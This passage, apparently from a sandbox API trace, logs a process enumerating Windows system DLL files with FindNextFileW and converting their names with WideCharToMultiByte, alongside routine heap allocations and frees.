lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.974] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.974] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.974] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.974] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.974] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.975] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0xd3c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.975] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.975] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.975] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.975] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.975] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.976] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0xd3c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.976] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0xd3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.976] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.976] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.976] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.977] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.977] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.977] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.977] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.977] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.978] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, 